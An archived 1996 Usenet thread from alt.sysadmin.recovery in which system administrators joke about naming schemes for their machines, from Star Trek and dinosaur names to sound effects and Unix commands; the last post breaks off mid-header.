Brewer. Singer. Photographer. Geek. cuccia@talamasca.com http://www.talamasca.com/~cuccia/ And it's weigh hey, where the Red Queen reigns from her throne across the sea With the hot rum running in our veins, we will serve you steel for tea. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:55 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news1.best.com!nntp1.best.com!shellx.best.com!not-for-mail From: durrell@shellx.best.com (Bryant Durrell) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 10:20:54 -0700 Organization: Semiotic Marines, Altoid Squad Lines: 20 Message-ID: <4pmu9m$fr7@shellx.best.com> References: <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> <4pmq9u$21u@kadath.zeitgeist.net> NNTP-Posting-Host: shellx.best.com In article <4pmq9u$21u@kadath.zeitgeist.net>, Nick Cuccia wrote: >In article <4phuic$bga@shellx.best.com>, >Bryant Durrell wrote: >>If I'm ever really bored, and in a position to do so, I'll name a >>set of firewalls ramses, kimono, goldcircle, and so forth. > >What? You mean that asbestos, co2, halon, water, and foam aren't good >enough for you? Foam by itself just isn't enough; I don't know how well co2, halon, and water work, and as for asbestos... OW OW OW OW OW -- Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ "Philanthropy is the refuge of rich people who wish to annoy their fellow creatures." -- Oscar Wilde From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:56 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!imci2!news.internetMCI.com!newsfeed.internetmci.com!howland.reston.ans.net!Germany.EU.net!zib-berlin.de!news.tu-chemnitz.de!fachat From: fachat@physik.tu-chemnitz.de (Andre Fachat) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 14:00:54 GMT Organization: University of Technology Chemnitz, FRG Lines: 46 Message-ID: <4ph9qm$6de@narses.hrz.tu-chemnitz.de> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> NNTP-Posting-Host: mclane.physik.tu-chemnitz.de X-Newsreader: TIN [version 1.2 PL2] Gary Barnes (gkb@aber.ac.uk) wrote: : Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far : this year, we've seen some very innovative new entries, and surprisingly, : some of the more popular mythological and planetary names have yet to make : an appearance, but there's plenty of time yet for them to make a move yet, : as this thread is just starting. So, sit back, and enjoy the fun as : alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. Oh, well, we have some Macs here, because our boss is a MAC-LUSER![1] and they are all named mcdonald, mcintosh, mcenroe.... The we got a new sun, one out of a few new computers to arrive and we decided to name it - yes, yes, the most popular name in Space: kirk. Well, that was only because I couldn't find something else when asked... But these Star Trek names really suck![5] Then we had to reinstall the machine (Did I mention that I crash _every_ machine?) and found a new series for the former "kirk" and the other new machines: Names from a famous german science fiction series from the sixties (or beginning seventies), "Raumpatrouille Orion".[6][8] Unfortunately the name of the commander is Mclane, and it's no Mac.... But who cares... :-)) Andre [1] I mean, a Mac LUSER![2] [2] But recently he even decided not to buy Macs as X-Terminals but Linux boxes. All this Larting from all people in our working group[3] seemed to have readjusted something... :-))) [3] I mean really all - except him. [4] Oops, footnote counter out of sync... kernel panic... Boom! [5] They really suck! On nearly every site you find them... [6] Who said I had imagination?[7] [7] My computers at home are galileo and kepler and the next will be einstein.. [8] Another group in our building had the tasteless idea of naming the machines for dictators (xiaoping, ...) [9] Our HP are named after comic figures -- Andre Fachat, Tel:++49-371-531-3551|"I do not feel obliged to believe that the Stadlerstr 17, 09126 Chemnitz, FRG | same God who has endowed us with sense, a.fachat@physik.tu-chemnitz.de | reason, and intellect has intended us to http://www.tu-chemnitz.de/~fachat | forego their use" -- Galileo Galilei From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:58 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.cais.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!clas.ufl.edu!mailey!northrup From: northrup@mailey.chem.ufl.edu (Dylan Northrup) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 18:51:15 GMT Organization: University of Florida - College of Liberal Arts and Sciences Lines: 42 Message-ID: <4pkf73$hvr@nostromo.clas.ufl.edu> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4ph9qm$6de@narses.hrz.tu-chemnitz.de> NNTP-Posting-Host: server.chem.ufl.edu X-Newsreader: TIN [version 1.2 PL2] An infinite number of monkeys in the guise of Andre Fachat (fachat@physik.tu-chemnitz.de) wrote: [snippage] =: Well, that was only because I couldn't find something else when asked... =: But these Star Trek names really suck![5] Academic Computing at my former University named their machines after ST characters (data, kira, dax, etc.) I would have suggested using some real science fiction names (B5 (londo, gkar, delenn, kosh, ...), writers (ellison, asimov, bova, ...), 2001 (hal, dave, monolith, ...), Star Wars (r2d2, c3po, luke, vader, ...), Dr. Who (tardis, romana, the_doctor, the_doctor, the_doctor, ...), Red Dwarf (rimmer, kryton, lister, ...), Battlestar Galactica ships (galactica, rising_star, pegasus, agroship9, rycon, ...), Alien[s|3] (ripley, nostromo, narcissus, newt, sulaco, ...), Buckaroo Banzai (yoyodyne, bigboote, hkcavalier, blue_blazer, ...), Tron (lightcycle, io_tower, clu, sark, yori, ...), Dune (arrakis, muaddib, halleck, ...), Blade Runner (deckard, tyrell, nexus6, pris, sebastian, ...), ...) except for a little problem I had with one of the employees (who was only there because his father worked in Engineering computing. I really hate when incompetent assholes with little to no talent or knowledge get into positions of semi-power because of nepotism). I guess their scheme is better than what I have at my current locale (I'm not in charge of the DNS. Our DNS master figures that if you don't have a machine that offers services, it doesn't need an interesting name and, as such, our machines are all named based on the group and numerical order (i.e. polymer12, inorganic5, organic8, ...)). Oh well, maybe when the new guy comes in to do DNS (among other things) we'll get some real machine names. [more snippage] -- Dylan Northrup <*> northrup@pobox.com <*> http://pobox.com/~northrup <*> Ask me about e-mail P.O. Boxes <*> "I don't want the world, just your half" --------------- Random B5 Quote --------------- "You wanted to see me?" 'Wanted to? Not really, but I guess I have to, don't I?' -- Bester and Garibaldi, "A Race Through Dark Places" From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:59 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.ac.net!imci4!imci5!pull-feed.internetmci.com!news.internetMCI.com!newsfeed.internetmci.com!hunter.premier.net!netnews.worldnet.att.net!cbgw2.att.com!news.bu.edu!transfer.stratus.com!bigboote.WPI.EDU!sidehack.gweep.net!not-for-mail From: mute@sidehack.gweep.net (Solipsist Nation) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 15:28:31 -0400 Organization: GweepNet, the GweepCo Cooperative Network - Worcester, MA Lines: 16 Message-ID: <4pn5ov$tvf@sidehack.gweep.net> References: <4ph1ln$575@osfb.aber.ac.uk> <4ph9qm$6de@narses.hrz.tu-chemnitz.de> <4pkf73$hvr@nostromo.clas.ufl.edu> NNTP-Posting-Host: sidehack.gweep.net In article <4pkf73$hvr@nostromo.clas.ufl.edu>, Dylan Northrup wrote: >Buckaroo Banzai (yoyodyne, bigboote, hkcavalier, blue_blazer, ...), Tron Been done. yoyodyne, bigboote (the news server), hongkong, cavalier, buckaroo, banzai, penny, hiklita, whorfin, lizardo (the DEC that ate Worcester!), and rugsucker.wpi.edu are only the few I remember off the top of my head, without going and doing more research. Lots of fun in that DECstation lab, I tell you... Josh -- ...said it was heaven just to breathe your air Severed Heads J. Brandt - mute@sidehack.gweep.net From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:00 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!chi-news.cic.net!newsxfer2.itd.umich.edu!bloom-beacon.mit.edu!yama.mcc.ac.uk!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.ac.net!news.serv.net!usenet From: trif@serv.net (Mary Conner) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 00:06:31 -0700 Organization: Care Bear Dismemberment Society Lines: 12 Message-ID: <4plq9n$ac@imp.serv.net> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4ph9qm$6de@narses.hrz.tu-chemnitz.de> Reply-To: trif@serv.net NNTP-Posting-Host: imp.serv.net In article <4ph9qm$6de@narses.hrz.tu-chemnitz.de>, Andre Fachat wrote: >[7] My computers at home are galileo and kepler and the next will be einstein.. My home computer is named imp, as in a small thing that causes a lot of trouble. After my 21 month old daughter, of course. I've decided I will name the next one gremlin. We'll see where this leads us... :) -- Mary Conner trif@serv.net From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:01 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!torn!worldlinx.com!top.mts.net!nowhere.uucp!keelings From: keelings@mts.net (s. keeling) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 21:23:50 GMT Organization: Ragnar Danneskjold's School of Confrontational Politics and Gunboat Diplomacy Lines: 13 Message-ID: <4q1u16$1cme@top.MTS.Net> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4ph9qm$6de@narses.hrz.tu-chemnitz.de> Reply-To: skeeling@mts.net NNTP-Posting-Host: lcbnas01-p03.mts.net X-Newsreader: TIN [version 1.2 PL2] Incoming from Andre Fachat (fachat@physik.tu-chemnitz.de): > Gary Barnes (gkb@aber.ac.uk) wrote: > : Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. > Oh, well, we have some Macs here, because our boss is a MAC-LUSER![1] > and they are all named mcdonald, mcintosh, mcenroe.... Gahd, what an anal retentive bunch I work with: wu1, wu2, wu3, ..., wp33, wp44, ..., wc6, wc11, ... -- skeeling@mts.net Taxation is theft! From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:02 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!tank.news.pipex.net!pipex!dispatch.news.demon.net!demon!datamodl.demon.co.uk From: martin@datamodl.demon.co.uk (Martin Hargreaves) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Sat, 15 Jun 1996 16:20:49 GMT Organization: Datamodel Ltd Lines: 24 Message-ID: <834855695.17260.2@datamodl.demon.co.uk> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> NNTP-Posting-Host: datamodl.demon.co.uk X-NNTP-Posting-Host: datamodl.demon.co.uk X-Newsreader: Forte Free Agent 1.0.82 gkb@aber.ac.uk (Gary Barnes) wrote: >Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far >this year, we've seen some very innovative new entries, and surprisingly, >some of the more popular mythological and planetary names have yet to make >an appearance, but there's plenty of time yet for them to make a move yet, >as this thread is just starting. So, sit back, and enjoy the fun as >alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. Oh! I know! Has anyone thought of calling a machine www? or news? That would be so cool.... M. ################################################################## # Martin Hargreaves (martin@datamodl.demon.co.uk) Computational # # Director, Datamodel Ltd Chemist # # Contract Unix system admin/Unix security Sysadmin # ################################################################## From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:03 1996 Path: news.mindlink.net!uniserve!news.sol.net!newspump.sol.net!spool.mu.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!dimensional.com!not-for-mail From: tsalyers@dimensional.com (Tom Salyers) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 15:52:33 GMT Organization: Dimensional Communications Lines: 18 Message-ID: <4phgc1$ge2@quasar.dimensional.com> References: <1996Jun3.132417@specialix.co.uk> NNTP-Posting-Host: blackhole.dimensional.com X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] D. S. Ritter (dan@tree.spectra.net) wrote: > Over here on the American side of the Pageant, we'd like to introduce > you to some of the less beautiful hostnames. That reminds me of when my manager and I were talking to the vendors who sold and installed our new Netware network. We're a museum of natural history, so I wanted to go with dinosaurs: T_REX, STEGOSAURUS, and so on. I left for the weekend, and when I got back, my manager had called up the vendor and changed all the names to things like MAINSRV, FAXSRV, COMSRV... Bleah. Just goes to show that if you want something done right you have to take off and nuke the site from orbit, I guess. -- Tom Salyers "Now is the Windows of our disk contents IRCnick: Aqualung Made glorious SimEarth by this Sun of Zork." Denver, CO --from _Richard v3.0_ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:03 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!tank.news.pipex.net!pipex!lade.news.pipex.net!pipex!news.fastnet.co.uk!not-for-mail From: sean@fastnet.co.uk (Sean B Purdy) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 14:27:37 +0100 Organization: FastNet International Ltd, Brighton, England Lines: 15 Message-ID: <4pjs89$1p8@zombie.fastnet.co.uk> References: <1996Jun3.132417@specialix.co.uk> <4phgc1$ge2@quasar.dimensional.com> NNTP-Posting-Host: zombie.fastnet.co.uk X-Newsreader: TIN [version 1.2 PL2] Recently, the esteemed Tom Salyers, tsalyers@dimensional.com, imparted: : who sold and installed our new Netware network. We're a museum of natural : history, so I wanted to go with dinosaurs: T_REX, STEGOSAURUS, and so on. : I left for the weekend, and when I got back, my manager had called up : the vendor and changed all the names to things like MAINSRV, FAXSRV, : COMSRV... You changed them back, right? Otherwise... *bad* BOFH. No caffeine/chocolate for *you* today. Sean -- Sean B Purdy, system administrator sean@fastnet.co.uk +++ ????? +++ Out of Cheese Error. Redo from Start. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:04 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!nntp.primenet.com!winternet.com!dimensional.com!not-for-mail From: tsalyers@dimensional.com (Tom Salyers) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 04:07:45 GMT Organization: Dimensional Communications Lines: 18 Message-ID: <4plfqh$5q2@quasar.dimensional.com> References: <1996Jun3.132417@specialix.co.uk> <4phgc1$ge2@quasar.dimensional.com> <4pjs89$1p8@zombie.fastnet.co.uk> NNTP-Posting-Host: blackhole.dimensional.com X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] Sean B Purdy (sean@fastnet.co.uk) wrote: > Recently, the esteemed Tom Salyers, tsalyers@dimensional.com, imparted: > : I left for the weekend, and when I got back, my manager had called up > : the vendor and changed all the names to things like MAINSRV, FAXSRV, > : COMSRV... > > You changed them back, right? Otherwise... *bad* BOFH. No > caffeine/chocolate for *you* today. Well, I would have if not for the fact that changing them back would have been a *much* bigger pain than leaving them the way they were... -- Tom Salyers "Now is the Windows of our disk contents IRCnick: Aqualung Made glorious SimEarth by this Sun of Zork." Denver, CO --from _Richard v3.0_ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:05 1996 Newsgroups: alt.sysadmin.recovery Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!mr.net!news.clark.net!phzzzt!mattress!alan From: alan@mattress.atww.org (Alan Reichert) Subject: Re: hostnames X-Newsreader: TIN [UNIX 1.3 950515BETA PL0] Lines: 17 Organization: ReicherTech Message-ID: References: <1996Jun3.132417@specialix.co.uk> Date: Mon, 10 Jun 1996 16:50:28 GMT : In article <4ph1ln$575@osfb.aber.ac.uk>, : gkb@aber.ac.uk (Gary Barnes) writes: : > : >Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far : >this year, we've seen some very innovative new entries, and surprisingly, : >some of the more popular mythological and planetary names have yet to make : >an appearance, but there's plenty of time yet for them to make a move yet, : >as this thread is just starting. So, sit back, and enjoy the fun as : >alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. My submission: mattress Hmmmm... - Alan From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:06 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!uwm.edu!math.ohio-state.edu!magnus.acs.ohio-state.edu!not-for-mail From: wyang@ktel.freenet.columbus.oh.us Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 16:04:28 -0400 Organization: The Greater Columbus Free-Net Lines: 33 Message-ID: <4phv4c$ffb@ktel.ktel.freenet.columbus.oh.us> References: <1996Jun3.132417@specialix.co.uk> NNTP-Posting-Host: ktel.freenet.columbus.oh.us In article <1996Jun3.132417@specialix.co.uk>, Keith Oborn wrote: > In article , Don > writes: > |> Since there aren't many good command names to go around (fsck, rm, a few > |> others), maybe operating systems would provide some good names. I'm not > |> sure if it should be the ones that suck the most, because someone might > |> think we're trying to give Bill some free PR... Any suggestions? > |> > > I've aid this before, but: the one naming convention I've never dared > try uses common Unix commands as names for Unix machines. Once > set up, it's very important NOT to document any scripts or source > that refer to machine names. "These are a few of my favorite schemes[1]"... Names of companies that sell junk for $39.95 via infomercial or other annoying television/cable marketing. eg: acme, ronco, ginsu, chia, ktel... Names of (things often mistaken for) forgotten gods of long dead religions: eg: zuul, ymir, xenos, science... Homonyms (and other words that sound alike) eg: to, too, two, tu, tew, tutu... Permutations in 3-letters[2] eg: and, adn, nad, nda, dan, dna eg: the, teh, hte, het, eht, eth [1] Imagine a really good imitation of Julie Andrews singing this. [2] Always fun, particularly if users try to go between machines to find the most appropriate place to go... From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:07 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!tank.news.pipex.net!pipex!dispatch.news.demon.net!demon!datamodl.demon.co.uk From: martin@datamodl.demon.co.uk (Martin Hargreaves) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Sat, 15 Jun 1996 16:20:52 GMT Organization: Datamodel Ltd Lines: 35 Message-ID: <834855698.17260.3@datamodl.demon.co.uk> References: <1996Jun3.132417@specialix.co.uk> <4phv4c$ffb@ktel.ktel.freenet.columbus.oh.us> NNTP-Posting-Host: datamodl.demon.co.uk X-NNTP-Posting-Host: datamodl.demon.co.uk X-Newsreader: Forte Free Agent 1.0.82 wyang@ktel.freenet.columbus.oh.us wrote: >"These are a few of my favorite schemes[1]"... > Names of companies that sell junk for $39.95 via infomercial > or other annoying television/cable marketing. > eg: acme, ronco, ginsu, chia, ktel... > Names of (things often mistaken for) forgotten gods of long > dead religions: > eg: zuul, ymir, xenos, science... > Homonyms (and other words that sound alike) > eg: to, too, two, tu, tew, tutu... > Permutations in 3-letters[2] > eg: and, adn, nad, nda, dan, dna > eg: the, teh, hte, het, eht, eth And of course quit for the nslookup users. I know some of you (including me) have this as a CNAME to use-exit-to-leave-nslookup.domain.com but have a machine called quit would be nice. And one called rm, and.... M. ################################################################## # Martin Hargreaves (martin@datamodl.demon.co.uk) Computational # # Director, Datamodel Ltd Chemist # # Contract Unix system admin/Unix security Sysadmin # ################################################################## From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:08 1996 Newsgroups: alt.sysadmin.recovery Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!world1.bawave.com!news.clark.net!phzzzt!mattress!alan From: alan@mattress.atww.org (Alan Reichert) Subject: Re: hostnames X-Newsreader: TIN [UNIX 1.3 950515BETA PL0] Lines: 17 Organization: ReicherTech Message-ID: References: <4pi00a$cmn@turing.mathworks.com> Date: Tue, 11 Jun 1996 02:27:43 GMT Caroline Brossi Yates (cbr@mathworks.com) wrote: : hostnames... how about noises as mach names, i.e. : plop, erm, sproing, ack, boff, crunch, tinkle, swik, pphhhhtt. I already know of a few machines like this - boink, splat, and squish. : Then when a user tries to describe their problems, it'll : go something like "while logged into erm,..." or : "... getting bounced mail from sproing" or : "...tinkle isn't responding..." or "...plop fell off the net..." : : and I'd definitely look forward to the first request on machine : "pphhhhtt"... ok, ok, simple grins for simple minds... That's spelled "phzzzt", and yes, that one also exists. :-) - Alan From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:09 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!hunter.premier.net!insync!news.io.com!arlut.utexas.edu!geraldo.cc.utexas.edu!tivoli.tivoli.com!usenet From: Firebeard Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 09:46:45 -0500 Organization: Is A Sign Of A Sick Mind Lines: 19 Sender: stend@dogbert.tivoli.com Message-ID: References: <4pi00a$cmn@turing.mathworks.com> NNTP-Posting-Host: dogbert.tivoli.com X-no-archive: yes X-Newsreader: Gnus v5.2.1/Emacs 19.30 >>>>> Alan Reichert writes: AR> Caroline Brossi Yates (cbr@mathworks.com) wrote: : hostnames... AR> how about noises as mach names, i.e. : plop, erm, sproing, ack, AR> boff, crunch, tinkle, swik, pphhhhtt. AR> and I'd definitely look forward to the first request on machine : AR> "pphhhhtt"... ok, ok, simple grins for simple minds... AR> That's spelled "phzzzt", and yes, that one also exists. :-) No, no, no. I have several alternate spellings in front of me: "pphpfft", "pphpth", and "thptpth". -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] Unsolicited solicitations will be proofread for a US$100/page fee. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:10 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!panix!not-for-mail From: jac@panix.com (John Clear) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 01:10:44 -0400 Organization: Panix Lines: 12 Message-ID: <4po7sk$pa0@panix.com> References: <4pi00a$cmn@turing.mathworks.com> NNTP-Posting-Host: panix.com Where I am working now, we have zeus and seuss (as in Dr.). It is fun when one of the english-as-a-second-language engineers come and tell you that they are having problems with 'souss'... One of the managers liked the scheme, and now has noose as his machine... Goose and moose to follow soon...[1] John [1] Yes, I know I use to many elipses... -- John Clear - jac@panix.com PP-ASEL 1Lt, CAP-NYW http://www.panix.com/~jac "They're all lawyers, and think that the laws of physics can be amended with a voice vote." -- Mary Shafer (shafer@ursa-major.spdcc.com) on Politicians From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:10 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!newsfeed.internetmci.com!in2.uu.net!comp.vuw.ac.nz!auckland.ac.nz!news From: pgut001@cs.auckland.ac.nz (Peter Gutmann) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 11:08:36 GMT Organization: University of Auckland Lines: 22 Sender: pgut001@cs.auckland.ac.nz (Peter Gutmann) Message-ID: <4posrk$b9o@net.auckland.ac.nz> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> NNTP-Posting-Host: kiwi.cs.auckland.ac.nz X-Newsreader: NN version 6.5.0 #4 (NOV) jac@panix.com (John Clear) writes: >Where I am working now, we have zeus and seuss (as in Dr.). It is fun >when one of the english-as-a-second-language engineers come and tell >you that they are having problems with 'souss'... One of the managers liked >the scheme, and now has noose as his machine... Goose and moose to >follow soon...[1] We started out with zeus, then added one or two others along similar lines (athena and something else), then went to boring names like webspinner (guess what *that* machine does) and mothergoose, the main server (no idea where that name came from). We've also got flush_twice (from someone who used to work for a company which made toilets), ppp (Pauls Porn Palace, AFAIK), and my own pwntfzogmxktl (or something similar). Unfortunately zeus went from being a 486/33 running 386BSD 0.1 (the ssh author couldn't believe it when I sent him diffs for this) to a Sparc 1+, which has to be the most godawful piece of shit we've got barring our SCO footstool/beer table (which would be some sort of 486 if it were ever switched on. Come to think of it I guess just "stool" would be a better name for it). Peter. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:11 1996 Path: news.mindlink.net!van-bc!news2.cais.net!news.cais.net!nntp.uio.no!geirem From: geirem@ulrik.uio.no (Geir Emblemsv}g) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 22:25:01 GMT Organization: University of Oslo, Norway Lines: 36 Message-ID: <4pq4ft$jtp@ratatosk.uio.no> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4posrk$b9o@net.auckland.ac.nz> NNTP-Posting-Host: agnar.uio.no In article <4posrk$b9o@net.auckland.ac.nz>, pgut001@cs.auckland.ac.nz (Peter Gutmann) writes: > jac@panix.com (John Clear) writes: > We started out with zeus, then added one or two others along similar lines > (athena and something else), then went to boring names like webspinner (guess > what *that* machine does) and mothergoose, the main server (no idea where that > name came from). We've also got flush_twice (from someone who used to work > for a company which made toilets), ppp (Pauls Porn Palace, AFAIK), and my own > pwntfzogmxktl (or something similar). Unfortunately zeus went from being a > 486/33 running 386BSD 0.1 (the ssh author couldn't believe it when I sent him > diffs for this) to a Sparc 1+, which has to be the most godawful piece of shit > we've got barring our SCO footstool/beer table (which would be some sort of > 486 if it were ever switched on. Come to think of it I guess just "stool" > would be a better name for it). Oh, I must be a nice person, my favorites are only named: (roughly translated from Norwegian) cruel brutal harmony cruncher crasher and: iforgotmyipaddress[I] Though all these names are still only for M$...but some will be valid DNS domain names soon:) [1] Came halfway through a change of network provider before we realized we hadn't checked the IPaddress before we started:( Good thing this site is at least somewhat structured, we managed to find out just by counting machines and offices:) -- Sir Geir the Gloomy of .no From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:12 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!world1.bawave.com!newsfeed.internetmci.com!howland.reston.ans.net!nntp.coast.net!swidir.switch.ch!scsing.switch.ch!swsbe6.switch.ch!surfnet.nl!news.unisource.nl!xs4all!motif.xs4all.nl!motif.xs4all.nl!not-for-mail From: rvloon@motif.xs4all.nl (Ronald van Loon) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 15:29:32 -0000 Organization: Ronald van Loon's personal UUCP site. Lines: 10 Message-ID: <4ppc4s$bh@motif.xs4all.nl> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> NNTP-Posting-Host: localhost.xs4all.nl jac@panix.com (John Clear) writes: |"[1] Yes, I know I use to many elipses... But not enough o's. -- Ronald van Loon \ S-Mail: St. Janskerkhof 18 | Motif++ Mailinglist: - Motif++ Maintainer \ 3811 HW Amersfoort | motif++@motif.xs4all.nl - Columnist C++ Report \ The Netherlands / (rvloon@motif.xs4all.nl) \ Phone: +31 33 4758 293 / Insert quote here. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:13 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.texas.net!news.kei.com!newsfeed.internetmci.com!zdc!news.phil.uni-sb.de!news.coli.uni-sb.de!mod-serv.dfki.uni-sb.de!news From: neuhaus@dfki.uni-sb.de (Stephan Neuhaus) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 14 Jun 1996 08:19:55 GMT Organization: DFKI - German Research Center for Artificial Intelligence Lines: 19 Message-ID: <4pr7bb$fad@mod-serv.dfki.uni-sb.de> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppc4s$bh@motif.xs4all.nl> NNTP-Posting-Host: corp-201.dfki.uni-sb.de X-Newsreader: knews 0.9.5 What was it that rvloon@motif.xs4all.nl (Ronald van Loon) wrote in <4ppc4s$bh@motif.xs4all.nl>? Ah, yes: >jac@panix.com (John Clear) writes: > >|"[1] Yes, I know I use to many elipses... > >But not enough o's. Or l's. Fun, Stephan -- "... I've seen Sun monitors on fire off the side of the multimedia lab. I've seen NTU lights glitter in the dark near the Mail Gate. All these things will be lost in time, like the root partition last week. Time to die...". - Peter Gutmann in alt.sysadmin.recovery From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:14 1996 Path: news.mindlink.net!van-bc!news2.cais.net!news.cais.net!newsfeed.internetmci.com!panix!not-for-mail From: jac@panix.com (John Clear) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 14 Jun 1996 21:59:15 -0400 Organization: 